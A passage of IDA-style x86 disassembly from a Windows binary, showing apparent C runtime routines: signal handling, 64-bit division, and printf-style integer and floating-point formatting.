; sub_44B581+3Bp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
test ebx, ebx
jle short loc_44D14F
cmp ebx, 2Ch
jge short loc_44D14F
cmp [ebp+arg_4], 0FFFFFFFFh
jnz short loc_44D157
loc_44D14F: ; CODE XREF: sub_44D131+Ej
; sub_44D131+13j
or eax, 0FFFFFFFFh
jmp loc_44D207
; ---------------------------------------------------------------------------
loc_44D157: ; CODE XREF: sub_44D131+1Cj
cmp ebx, 4
jz short loc_44D166
cmp ebx, 8
jz short loc_44D166
cmp ebx, 0Bh
jnz short loc_44D1C5
loc_44D166: ; CODE XREF: sub_44D131+29j
; sub_44D131+2Ej
call sub_44B471
mov [ebp+var_8], eax
mov eax, [eax+34h]
cmp eax, offset dword_4117E4
jnz short loc_44D1A6
push 0B0h
call sub_44A581
pop ecx
mov edx, [ebp+var_8]
mov [edx+34h], eax
test eax, eax
jz short loc_44D1A1
mov eax, [ebp+var_8]
mov edi, [eax+34h]
mov esi, offset dword_4117E4
mov ecx, 2Ch
rep movsd
jmp short loc_44D1A6
; ---------------------------------------------------------------------------
loc_44D1A1: ; CODE XREF: sub_44D131+5Aj
or eax, 0FFFFFFFFh
jmp short loc_44D207
; ---------------------------------------------------------------------------
loc_44D1A6: ; CODE XREF: sub_44D131+45j
; sub_44D131+6Ej
mov eax, ebx
shl eax, 2
mov edx, [ebp+var_8]
mov ecx, [edx+34h]
mov ecx, [ecx+eax]
mov [ebp+var_4], ecx
mov edx, [edx+34h]
mov ecx, [ebp+arg_4]
mov [edx+eax], ecx
mov eax, [ebp+var_4]
jmp short loc_44D207
; ---------------------------------------------------------------------------
loc_44D1C5: ; CODE XREF: sub_44D131+33j
cmp ebx, 2
jnz short loc_44D1F3
cmp dword_41189C, 0
jnz short loc_44D1F3
push 1
push offset sub_40ADD0
call dword_411E10
test eax, eax
jnz short loc_44D1E9
or eax, 0FFFFFFFFh
jmp short loc_44D207
; ---------------------------------------------------------------------------
loc_44D1E9: ; CODE XREF: sub_44D131+B1j
mov dword_41189C, 1
loc_44D1F3: ; CODE XREF: sub_44D131+97j
; sub_44D131+A0j
lea eax, ds:4117E4h[ebx*4]
mov edx, [eax]
mov [ebp+var_4], edx
mov edx, [ebp+arg_4]
mov [eax], edx
mov eax, [ebp+var_4]
loc_44D207: ; CODE XREF: sub_44D131+21j
; sub_44D131+73j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44D131 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
; =============== S U B R O U T I N E =======================================
sub_44D211 proc near ; CODE XREF: DMN1:00449EACp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_44D211 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44D221 proc near ; CODE XREF: DMN1:0044B66Dp
; sub_44D3E1+F3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_4]
or eax, eax
jnz short loc_44D243
mov ecx, [esp+8+arg_0]
mov eax, [esp+8+arg_C]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_8]
div ecx
mov edx, ebx
jmp short loc_44D284
; ---------------------------------------------------------------------------
loc_44D243: ; CODE XREF: sub_44D221+8j
mov ecx, eax
mov ebx, [esp+8+arg_0]
mov edx, [esp+8+arg_C]
mov eax, [esp+8+arg_8]
loc_44D251: ; CODE XREF: sub_44D221+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_44D251
div ebx
mov esi, eax
mul [esp+8+arg_4]
mov ecx, eax
mov eax, [esp+8+arg_0]
mul esi
add edx, ecx
jb short loc_44D27F
cmp edx, [esp+8+arg_C]
ja short loc_44D27F
jb short loc_44D280
cmp eax, [esp+8+arg_8]
jbe short loc_44D280
loc_44D27F: ; CODE XREF: sub_44D221+4Ej
; sub_44D221+54j
dec esi
loc_44D280: ; CODE XREF: sub_44D221+56j
; sub_44D221+5Cj
xor edx, edx
mov eax, esi
loc_44D284: ; CODE XREF: sub_44D221+20j
pop esi
pop ebx
retn 10h
sub_44D221 endp
; ---------------------------------------------------------------------------
db 90h
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44D291 proc near ; CODE XREF: sub_44C011+B3p
; sub_44C011+6E1p
var_64 = dword ptr -64h
var_60 = byte ptr -60h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_4]
cmp dword ptr [ebx+2Ch], 0
jge short loc_44D2AF
mov [ebp+var_64], 7FFFFFFFh
jmp short loc_44D2B5
; ---------------------------------------------------------------------------
loc_44D2AF: ; CODE XREF: sub_44D291+13j
mov eax, [ebx+2Ch]
mov [ebp+var_64], eax
loc_44D2B5: ; CODE XREF: sub_44D291+1Cj
mov eax, [ebp+var_64]
mov [ebp+var_4], eax
movzx eax, byte_4118A0
mov edx, [ebx+34h]
add eax, edx
mov [ebp+var_14], eax
mov [ebp+var_1C], 0
mov [ebp+var_18], 0
test word ptr [ebx+38h], 4
jnz short loc_44D2E6
cmp [ebp+var_14], 40h
ja short loc_44D2F5
loc_44D2E6: ; CODE XREF: sub_44D291+4Dj
lea eax, [ebp+var_60]
mov [ebp+var_10], eax
mov [ebp+var_14], 40h
jmp short loc_44D30E
; ---------------------------------------------------------------------------
loc_44D2F5: ; CODE XREF: sub_44D291+53j
mov eax, [ebp+var_14]
push eax
call sub_44A581
pop ecx
mov [ebp+var_10], eax
test eax, eax
jnz short loc_44D30E
or eax, 0FFFFFFFFh
jmp loc_44D3D6
; ---------------------------------------------------------------------------
loc_44D30E: ; CODE XREF: sub_44D291+62j
; sub_44D291+73j
test esi, esi
jnz short loc_44D317
mov esi, offset aNull ; "(null)"
loc_44D317: ; CODE XREF: sub_44D291+7Fj
mov [ebp+var_20], 0
jmp short loc_44D39C
; ---------------------------------------------------------------------------
loc_44D320: ; CODE XREF: sub_44D291+10Fj
lea eax, [ebp+var_1C]
push eax
movzx eax, word ptr [esi]
push eax
lea eax, [ebp+var_C]
push eax
call sub_44E2C1
add esp, 0Ch
mov edi, eax
test eax, eax
jl short loc_44D347
cmp word ptr [esi], 0
jnz short loc_44D34D
dec edi
mov eax, edi
test eax, eax
jge short loc_44D34D
loc_44D347: ; CODE XREF: sub_44D291+A7j
or [ebp+var_20], 0FFFFFFFFh
jmp short loc_44D3A6
; ---------------------------------------------------------------------------
loc_44D34D: ; CODE XREF: sub_44D291+ADj
; sub_44D291+B4j
cmp [ebp+var_4], edi
jl short loc_44D3A6
mov eax, [ebx+14h]
add eax, edi
cmp [ebp+var_14], eax
jnb short loc_44D377
mov dword ptr [ebx+34h], 0
mov eax, [ebp+var_10]
push eax
push ebx
call sub_44C751
add esp, 8
mov dword ptr [ebx+14h], 0
loc_44D377: ; CODE XREF: sub_44D291+C9j
push edi
lea eax, [ebp+var_C]
push eax
mov eax, [ebx+14h]
mov edx, [ebp+var_10]
add eax, edx
push eax
call sub_449A11
add esp, 0Ch
add [ebx+14h], edi
cmp word ptr [esi], 0
jz short loc_44D3A6
add esi, 2
sub [ebp+var_4], edi
loc_44D39C: ; CODE XREF: sub_44D291+8Dj
cmp [ebp+var_4], 0
jg loc_44D320
loc_44D3A6: ; CODE XREF: sub_44D291+BAj
; sub_44D291+BFj ...
mov eax, [ebp+var_10]
push eax
push ebx
call sub_44C751
add esp, 8
mov dword ptr [ebx+34h], 0
mov dword ptr [ebx+14h], 0
lea eax, [ebp+var_60]
cmp eax, [ebp+var_10]
jz short loc_44D3D3
mov eax, [ebp+var_10]
push eax
call sub_4494D1
pop ecx
loc_44D3D3: ; CODE XREF: sub_44D291+136j
mov eax, [ebp+var_20]
loc_44D3D6: ; CODE XREF: sub_44D291+78j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44D291 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44D3E1 proc near ; CODE XREF: sub_44C011+256p
; sub_44C011+3CAp ...
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
cmp [ebp+arg_4], 58h
jnz short loc_44D3F9
mov [ebp+var_34], offset a0123456789abcd ; "0123456789ABCDEF"
jmp short loc_44D400
; ---------------------------------------------------------------------------
loc_44D3F9: ; CODE XREF: sub_44D3E1+Dj
mov [ebp+var_34], offset a0123456789ab_0 ; "0123456789abcdef"
loc_44D400: ; CODE XREF: sub_44D3E1+16j
mov eax, [ebp+var_34]
mov [ebp+var_24], eax
cmp [ebp+arg_4], 6Fh
jnz short loc_44D415
mov [ebp+var_38], 8
jmp short loc_44D430
; ---------------------------------------------------------------------------
loc_44D415: ; CODE XREF: sub_44D3E1+29j
mov al, [ebp+arg_4]
cmp al, 78h
jz short loc_44D429
cmp al, 58h
jz short loc_44D429
mov [ebp+var_38], 0Ah
jmp short loc_44D430
; ---------------------------------------------------------------------------
loc_44D429: ; CODE XREF: sub_44D3E1+39j
; sub_44D3E1+3Dj
mov [ebp+var_38], 10h
loc_44D430: ; CODE XREF: sub_44D3E1+32j
; sub_44D3E1+46j
mov eax, [ebp+var_38]
mov [ebp+var_8], eax
mov [ebp+var_4], 18h
mov eax, [ebp+arg_0]
mov edx, [eax+4]
mov eax, [eax]
mov [ebp+var_30], eax
mov [ebp+var_2C], edx
mov al, [ebp+arg_4]
cmp al, 64h
jz short loc_44D456
cmp al, 69h
jnz short loc_44D47B
loc_44D456: ; CODE XREF: sub_44D3E1+6Fj
mov eax, [ebp+arg_0]
mov edx, [eax+4]
mov eax, [eax]
test edx, edx
jg short loc_44D47B
jl short loc_44D468
test eax, eax
jnb short loc_44D47B
loc_44D468: ; CODE XREF: sub_44D3E1+81j
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
neg eax
adc edx, 0
neg edx
mov [ebp+var_30], eax
mov [ebp+var_2C], edx
loc_44D47B: ; CODE XREF: sub_44D3E1+73j
; sub_44D3E1+7Fj ...
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
test edx, edx
jnz short loc_44D492
test eax, eax
jnz short loc_44D492
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jz short loc_44D4C2
loc_44D492: ; CODE XREF: sub_44D3E1+A2j
; sub_44D3E1+A6j
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_3C], eax
mov [ebp+var_4], eax
mov ecx, [ebp+var_30]
mov ebx, [ebp+var_2C]
mov edx, [ebp+var_8]
mov esi, edx
mov edi, esi
sar edi, 1Fh
push ebx
push ecx
push edi
push esi
call sub_44E511
mov edx, [ebp+var_24]
mov al, [edx+eax]
mov edx, [ebp+var_3C]
mov [ebp+edx+var_20], al
loc_44D4C2: ; CODE XREF: sub_44D3E1+AFj
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
mov ecx, [ebp+var_8]
mov ebx, ecx
sar ebx, 1Fh
push edx
push eax
push ebx
push ecx
call sub_44D221
mov ecx, [ebp+arg_0]
mov [ecx], eax
mov [ecx+4], edx
jmp short loc_44D553
; ---------------------------------------------------------------------------
loc_44D4E3: ; CODE XREF: sub_44D3E1+188j
mov eax, [ebp+arg_0]
mov edx, [eax+4]
mov eax, [eax]
mov ecx, [ebp+var_8]
mov ebx, ecx
sar ebx, 1Fh
push edx
push eax
push ebx
push ecx
call sub_44E591
mov [ebp+var_48], eax
mov [ebp+var_44], edx
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_4C], eax
mov [ebp+var_4], eax
mov edx, [ebp+var_8]
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov esi, [ebp+var_48]
mov edi, [ebp+var_44]
push ebx
push ecx
push edi
push esi
call sub_44E641
neg eax
adc edx, 0
neg edx
mov ecx, [ebp+arg_0]
mov ebx, [ecx+4]
mov ecx, [ecx]
add eax, ecx
adc edx, ebx
mov edx, [ebp+var_24]
mov al, [edx+eax]
mov edx, [ebp+var_4C]
mov [ebp+edx+var_20], al
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov ebx, [ebp+var_44]
mov [eax], ecx
mov [eax+4], ebx
loc_44D553: ; CODE XREF: sub_44D3E1+100j
mov eax, [ebp+arg_0]
mov edx, [eax+4]
mov eax, [eax]
test edx, edx
jl short loc_44D56F
jg short loc_44D565
test eax, eax
jbe short loc_44D56F
loc_44D565: ; CODE XREF: sub_44D3E1+17Ej
cmp [ebp+var_4], 0
jg loc_44D4E3
loc_44D56F: ; CODE XREF: sub_44D3E1+17Cj
; sub_44D3E1+182j
cmp [ebp+var_8], 8
jnz short loc_44D59B
mov eax, [ebp+arg_0]
test word ptr [eax+38h], 8
jz short loc_44D59B
mov eax, [ebp+var_4]
cmp eax, 18h
jnb short loc_44D59B
cmp [ebp+eax+var_20], 30h
jz short loc_44D59B
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_4], eax
mov [ebp+eax+var_20], 30h
loc_44D59B: ; CODE XREF: sub_44D3E1+192j
; sub_44D3E1+19Dj ...
mov edx, [ebp+arg_0]
mov eax, 18h
mov ecx, [ebp+var_4]
sub eax, ecx
mov [edx+1Ch], eax
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
push edx
mov edx, [ebp+var_4]
lea edx, [ebp+edx+var_20]
push edx
mov eax, [eax+10h]
push eax
call sub_449A11
add esp, 0Ch
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
cmp [eax+1Ch], edx
jge short loc_44D5E7
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
sub edx, [eax+1Ch]
mov [eax+18h], edx
mov eax, [ebp+arg_0]
and word ptr [eax+38h], 0FFEFh
jmp short loc_44D618
; ---------------------------------------------------------------------------
loc_44D5E7: ; CODE XREF: sub_44D3E1+1EEj
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jge short loc_44D618
movzx edx, word ptr [eax+38h]
and edx, 14h
cmp edx, 10h
jnz short loc_44D618
mov edx, [eax+34h]
sub edx, [eax+14h]
sub edx, [eax+18h]
sub edx, [eax+1Ch]
mov [ebp+var_4], edx
test edx, edx
jle short loc_44D618
mov edx, [ebp+arg_0]
mov eax, [ebp+var_4]
mov [edx+18h], eax
loc_44D618: ; CODE XREF: sub_44D3E1+204j
; sub_44D3E1+20Dj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44D3E1 endp
; ---------------------------------------------------------------------------
db 89h, 0FFh
; =============== S U B R O U T I N E =======================================
sub_44D621 proc near ; CODE XREF: sub_44C011+40Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_44E681
pop ecx
movsx eax, ax
retn
sub_44D621 endp
; ---------------------------------------------------------------------------
db 90h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44D631 proc near ; CODE XREF: sub_44C011+48Cp
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = qword ptr -58h
var_50 = qword ptr -50h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_3E = byte ptr -3Eh
var_3D = byte ptr -3Dh
var_16 = word ptr -16h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = qword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
lea eax, [ebp+var_3E]
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
fld qword ptr [eax]
fstp [ebp+var_10]
mov al, [ebp+arg_4]
cmp al, 61h
jz short loc_44D650
cmp al, 41h
jnz short loc_44D652
loc_44D650: ; CODE XREF: sub_44D631+19j
jmp short loc_44D685
; ---------------------------------------------------------------------------
loc_44D652: ; CODE XREF: sub_44D631+1Dj
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jge short loc_44D667
mov edx, [ebp+arg_0]
mov dword ptr [edx+2Ch], 6
jmp short loc_44D685
; ---------------------------------------------------------------------------
loc_44D667: ; CODE XREF: sub_44D631+28j
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jnz short loc_44D685
mov al, [ebp+arg_4]
cmp al, 67h
jz short loc_44D67B
cmp al, 47h
jnz short loc_44D685
loc_44D67B: ; CODE XREF: sub_44D631+44j
mov edx, [ebp+arg_0]
mov dword ptr [edx+2Ch], 1
loc_44D685: ; CODE XREF: sub_44D631:loc_44D650j
; sub_44D631+34j ...
mov eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_14]
push eax
call sub_44E6F1
add esp, 8
mov [ebp+var_16], ax
cmp ax, 2
jnz short loc_44D6EA
mov edx, [ebp+arg_0]
mov dword ptr [edx+1Ch], 3
mov eax, 3
push eax
mov al, [ebp+arg_4]
cmp al, 61h
jz short loc_44D6C2
cmp al, 65h
jz short loc_44D6C2
cmp al, 66h
jz short loc_44D6C2
cmp al, 67h
jnz short loc_44D6CB
loc_44D6C2: ; CODE XREF: sub_44D631+83j
; sub_44D631+87j ...
mov [ebp+var_44], 410122h
jmp short loc_44D6D2
; ---------------------------------------------------------------------------
loc_44D6CB: ; CODE XREF: sub_44D631+8Fj
mov [ebp+var_44], offset word_41011E
loc_44D6D2: ; CODE XREF: sub_44D631+98j
mov eax, [ebp+var_44]
push eax
mov eax, [ebp+arg_0]
mov eax, [eax+10h]
push eax
call sub_449A11
add esp, 0Ch
jmp loc_44DC85
; ---------------------------------------------------------------------------
loc_44D6EA: ; CODE XREF: sub_44D631+6Cj
cmp [ebp+var_16], 0
jle short loc_44D73C
mov edx, [ebp+arg_0]
mov dword ptr [edx+1Ch], 3
mov eax, 3
push eax
mov al, [ebp+arg_4]
cmp al, 61h
jz short loc_44D714
cmp al, 65h
jz short loc_44D714
cmp al, 66h
jz short loc_44D714
cmp al, 67h
jnz short loc_44D71D
loc_44D714: ; CODE XREF: sub_44D631+D5j
; sub_44D631+D9j ...
mov [ebp+var_44], offset word_41011A
jmp short loc_44D724
; ---------------------------------------------------------------------------
loc_44D71D: ; CODE XREF: sub_44D631+E1j
mov [ebp+var_44], offset off_410116
loc_44D724: ; CODE XREF: sub_44D631+EAj
mov eax, [ebp+var_44]
push eax
mov eax, [ebp+arg_0]
mov eax, [eax+10h]
push eax
call sub_449A11
add esp, 0Ch
jmp loc_44DC85
; ---------------------------------------------------------------------------
loc_44D73C: ; CODE XREF: sub_44D631+BEj
mov al, [ebp+arg_4]
cmp al, 61h
jz short loc_44D747
cmp al, 41h
jnz short loc_44D77F
loc_44D747: ; CODE XREF: sub_44D631+110j
mov eax, [ebp+arg_0]
mov edx, [eax+10h]
add eax, 10h
lea ecx, [edx+1]
mov [eax], ecx
mov byte ptr [edx], 30h
mov eax, [ebp+arg_0]
mov edx, [eax+10h]
add eax, 10h
lea ecx, [edx+1]
mov [eax], ecx
xor eax, eax
cmp [ebp+arg_4], 61h
setnz al
dec eax
and eax, 20h
add eax, 58h
mov [edx], al
mov eax, [ebp+arg_0]
add dword ptr [eax+14h], 2
loc_44D77F: ; CODE XREF: sub_44D631+114j
cmp [ebp+var_16], 0
jnz short loc_44D797
mov [ebp+var_12], 0
mov [ebp+var_14], 0
jmp loc_44DC66
; ---------------------------------------------------------------------------
loc_44D797: ; CODE XREF: sub_44D631+153j
mov al, [ebp+arg_4]
cmp al, 61h
jz short loc_44D7A6
cmp al, 41h
jnz loc_44D9AC
loc_44D7A6: ; CODE XREF: sub_44D631+16Bj
cmp [ebp+arg_4], 61h
jnz short loc_44D7B5
mov dword ptr [ebp+var_50+4], offset a0123456789ab_1 ; "0123456789abcdef"
jmp short loc_44D7BC
; ---------------------------------------------------------------------------
loc_44D7B5: ; CODE XREF: sub_44D631+179j
mov dword ptr [ebp+var_50+4], offset a0123456789ab_2 ; "0123456789ABCDEF"
loc_44D7BC: ; CODE XREF: sub_44D631+182j
mov eax, dword ptr [ebp+var_50+4]
mov [ebp+var_48], eax
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jge short loc_44D7D4
mov dword ptr [ebp+var_50], 21h
jmp short loc_44D7DE
; ---------------------------------------------------------------------------
loc_44D7D4: ; CODE XREF: sub_44D631+198j
mov eax, [ebp+arg_0]
mov eax, [eax+2Ch]
inc eax
mov dword ptr [ebp+var_50], eax
loc_44D7DE: ; CODE XREF: sub_44D631+1A1j
mov eax, dword ptr [ebp+var_50]
mov [ebp+var_12], ax
movsx eax, [ebp+var_12]
inc eax
mov [ebp+var_44], eax
fld dbl_4100EC
fcomp [ebp+var_10]
fnstsw ax
sahf
jbe short loc_44D807
mov eax, [ebp+arg_0]
fld qword ptr [eax]
fchs
fstp [ebp+var_58]
jmp short loc_44D80F
; ---------------------------------------------------------------------------
loc_44D807: ; CODE XREF: sub_44D631+1C8j
mov eax, [ebp+arg_0]
fld qword ptr [eax]
fstp [ebp+var_58]
loc_44D80F: ; CODE XREF: sub_44D631+1D4j
fld [ebp+var_58]
fstp [ebp+var_10]
sub [ebp+var_14], 4
mov eax, [ebp+var_4]
lea edx, [eax+1]
mov [ebp+var_4], edx
mov byte ptr [eax], 0
jmp loc_44D8B2
; ---------------------------------------------------------------------------
loc_44D82B: ; CODE XREF: sub_44D631+293j
push 1Ch
lea eax, [ebp+var_10]
push eax
call sub_44E711
add esp, 8
fld [ebp+var_10]
call sub_44E731
mov [ebp+var_5C], eax
mov eax, [ebp+var_44]
sub eax, 7
mov [ebp+var_44], eax
test eax, eax
jle short loc_44D85C
fld [ebp+var_10]
fild [ebp+var_5C]
fsubp st(1), st
fstp [ebp+var_10]
loc_44D85C: ; CODE XREF: sub_44D631+21Ej
mov eax, [ebp+var_4]
add eax, 7
mov [ebp+var_4], eax
mov [ebp+var_60], 7
jmp short loc_44D881
; ---------------------------------------------------------------------------
loc_44D86E: ; CODE XREF: sub_44D631+25Fj
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_4], eax
mov edx, [ebp+var_5C]
and edx, 0Fh
mov [eax], dl
sar [ebp+var_5C], 4
loc_44D881: ; CODE XREF: sub_44D631+23Bj
cmp [ebp+var_5C], 0
jle short loc_44D892
mov eax, [ebp+var_60]
dec eax
mov [ebp+var_60], eax
test eax, eax
jge short loc_44D86E
loc_44D892: ; CODE XREF: sub_44D631+254j
jmp short loc_44D89E
; ---------------------------------------------------------------------------
loc_44D894: ; CODE XREF: sub_44D631+276j
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_4], eax
mov byte ptr [eax], 0
loc_44D89E: ; CODE XREF: sub_44D631:loc_44D892j
mov eax, [ebp+var_60]
dec eax
mov [ebp+var_60], eax
test eax, eax
jge short loc_44D894
mov eax, [ebp+var_4]
add eax, 7
mov [ebp+var_4], eax
loc_44D8B2: ; CODE XREF: sub_44D631+1F5j
cmp [ebp+var_44], 0
jle short loc_44D8CA
fld [ebp+var_10]
fcomp dbl_4100EC
fnstsw ax
sahf
ja loc_44D82B
loc_44D8CA: ; CODE XREF: sub_44D631+285j
mov eax, [ebp+var_4]
lea edx, [ebp+var_3D]
sub eax, edx
mov [ebp+var_44], eax
lea eax, [ebp+var_3D]
mov [ebp+var_4], eax
movsx eax, [ebp+var_12]
cmp [ebp+var_44], eax
jge short loc_44D8EB
mov eax, [ebp+var_44]
mov [ebp+var_12], ax
loc_44D8EB: ; CODE XREF: sub_44D631+2B1j
cmp [ebp+var_12], 0
jl loc_44D98F
mov ax, [ebp+var_12]
movsx edx, ax
cmp edx, [ebp+var_44]
jge short loc_44D917
movsx eax, ax
mov edx, [ebp+var_4]
cmp byte ptr [edx+eax], 8
jb short loc_44D917
mov [ebp+var_64], 0Fh
jmp short loc_44D91E
; ---------------------------------------------------------------------------
loc_44D917: ; CODE XREF: sub_44D631+2CFj
; sub_44D631+2DBj
mov [ebp+var_64], 0
loc_44D91E: ; CODE XREF: sub_44D631+2E4j
mov eax, [ebp+var_64]
mov byte ptr [ebp+var_60+3], al
movsx eax, [ebp+var_12]
mov [ebp+var_5C], eax
jmp short loc_44D932
; ---------------------------------------------------------------------------
loc_44D92D: ; CODE XREF: sub_44D631+311j
sub [ebp+var_12], 1
loc_44D932: ; CODE XREF: sub_44D631+2FAj
mov eax, [ebp+var_5C]
dec eax
mov [ebp+var_5C], eax
mov edx, [ebp+var_4]
mov cl, byte ptr [ebp+var_60+3]
cmp [edx+eax], cl
jz short loc_44D92D
cmp byte ptr [ebp+var_60+3], 0Fh
jnz short loc_44D955
mov eax, [ebp+var_5C]
mov edx, [ebp+var_4]
add eax, edx
add byte ptr [eax], 1
loc_44D955: ; CODE XREF: sub_44D631+317j
cmp [ebp+var_5C], 0
jge short loc_44D968
dec [ebp+var_4]
add [ebp+var_12], 1
add [ebp+var_14], 4
loc_44D968: ; CODE XREF: sub_44D631+328j
movsx eax, [ebp+var_12]
mov [ebp+var_5C], eax
jmp short loc_44D984
; ---------------------------------------------------------------------------
loc_44D971: ; CODE XREF: sub_44D631+35Cj
mov eax, [ebp+var_5C]
mov edx, [ebp+var_4]
add eax, edx
movzx edx, byte ptr [eax]
mov ecx, [ebp+var_48]
mov dl, [ecx+edx]
mov [eax], dl
loc_44D984: ; CODE XREF: sub_44D631+33Ej
mov eax, [ebp+var_5C]
dec eax
mov [ebp+var_5C], eax
test eax, eax
jge short loc_44D971
loc_44D98F: ; CODE XREF: sub_44D631+2BFj
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jge loc_44DC66
mov edx, [ebp+arg_0]
movsx eax, [ebp+var_12]
dec eax
mov [edx+2Ch], eax
jmp loc_44DC66
; ---------------------------------------------------------------------------
loc_44D9AC: ; CODE XREF: sub_44D631+16Fj
fld dbl_4100EC
fcomp [ebp+var_10]
fnstsw ax
sahf
jbe short loc_44D9C2
fld [ebp+var_10]
fchs
fstp [ebp+var_10]
loc_44D9C2: ; CODE XREF: sub_44D631+387j
movsx eax, [ebp+var_14]
imul eax, 7597h
push eax
mov edx, 14F8B589h
imul edx
pop eax
shr eax, 1Fh
sar edx, 0Dh
add eax, edx
sub eax, 4
mov [ebp+var_14], ax
test ax, ax
jge short loc_44DA2D
mov eax, 3
movsx edx, [ebp+var_14]
sub eax, edx
and eax, 0FFFFFFFCh
mov [ebp+var_44], eax
neg eax
mov [ebp+var_14], ax
mov [ebp+var_48], 0
jmp short loc_44DA25
; ---------------------------------------------------------------------------
loc_44DA09: ; CODE XREF: sub_44D631+3F8j
test byte ptr [ebp+var_44], 1
jz short loc_44DA1F
fld [ebp+var_10]
mov eax, [ebp+var_48]
fmul dbl_410094[eax*8]
fstp [ebp+var_10]
loc_44DA1F: ; CODE XREF: sub_44D631+3DCj
sar [ebp+var_44], 1
inc [ebp+var_48]
loc_44DA25: ; CODE XREF: sub_44D631+3D6j
cmp [ebp+var_44], 0
jg short loc_44DA09
jmp short loc_44DA7D
; ---------------------------------------------------------------------------
loc_44DA2D: ; CODE XREF: sub_44D631+3B6j
cmp [ebp+var_14], 0
jle short loc_44DA7D
fld dbl_4100E4
fstp [ebp+var_50]
and [ebp+var_14], 0FFFCh
movsx eax, [ebp+var_14]
mov [ebp+var_44], eax
mov [ebp+var_48], 0
jmp short loc_44DA6E
; ---------------------------------------------------------------------------
loc_44DA52: ; CODE XREF: sub_44D631+441j
test byte ptr [ebp+var_44], 1
jz short loc_44DA68
fld [ebp+var_50]
mov eax, [ebp+var_48]
fmul dbl_410094[eax*8]
fstp [ebp+var_50]
loc_44DA68: ; CODE XREF: sub_44D631+425j
sar [ebp+var_44], 1
inc [ebp+var_48]
loc_44DA6E: ; CODE XREF: sub_44D631+41Fj
cmp [ebp+var_44], 0
jg short loc_44DA52
fld [ebp+var_10]
fdiv [ebp+var_50]
fstp [ebp+var_10]
loc_44DA7D: ; CODE XREF: sub_44D631+3FAj
; sub_44D631+401j
mov al, [ebp+arg_4]
cmp al, 66h
jz short loc_44DA88
cmp al, 46h
jnz short loc_44DA94
loc_44DA88: ; CODE XREF: sub_44D631+451j
movsx eax, [ebp+var_14]
add eax, 0Ah
mov [ebp+var_48], eax
jmp short loc_44DA9B
; ---------------------------------------------------------------------------
loc_44DA94: ; CODE XREF: sub_44D631+455j
mov [ebp+var_48], 6
loc_44DA9B: ; CODE XREF: sub_44D631+461j
mov eax, [ebp+var_48]
mov edx, [ebp+arg_0]
mov edx, [edx+2Ch]
add eax, edx
mov [ebp+var_44], eax
cmp eax, 13h
jle short loc_44DAB5
mov [ebp+var_44], 13h
loc_44DAB5: ; CODE XREF: sub_44D631+47Bj
mov eax, [ebp+var_4]
lea edx, [eax+1]
mov [ebp+var_4], edx
mov byte ptr [eax], 30h
jmp loc_44DB5B
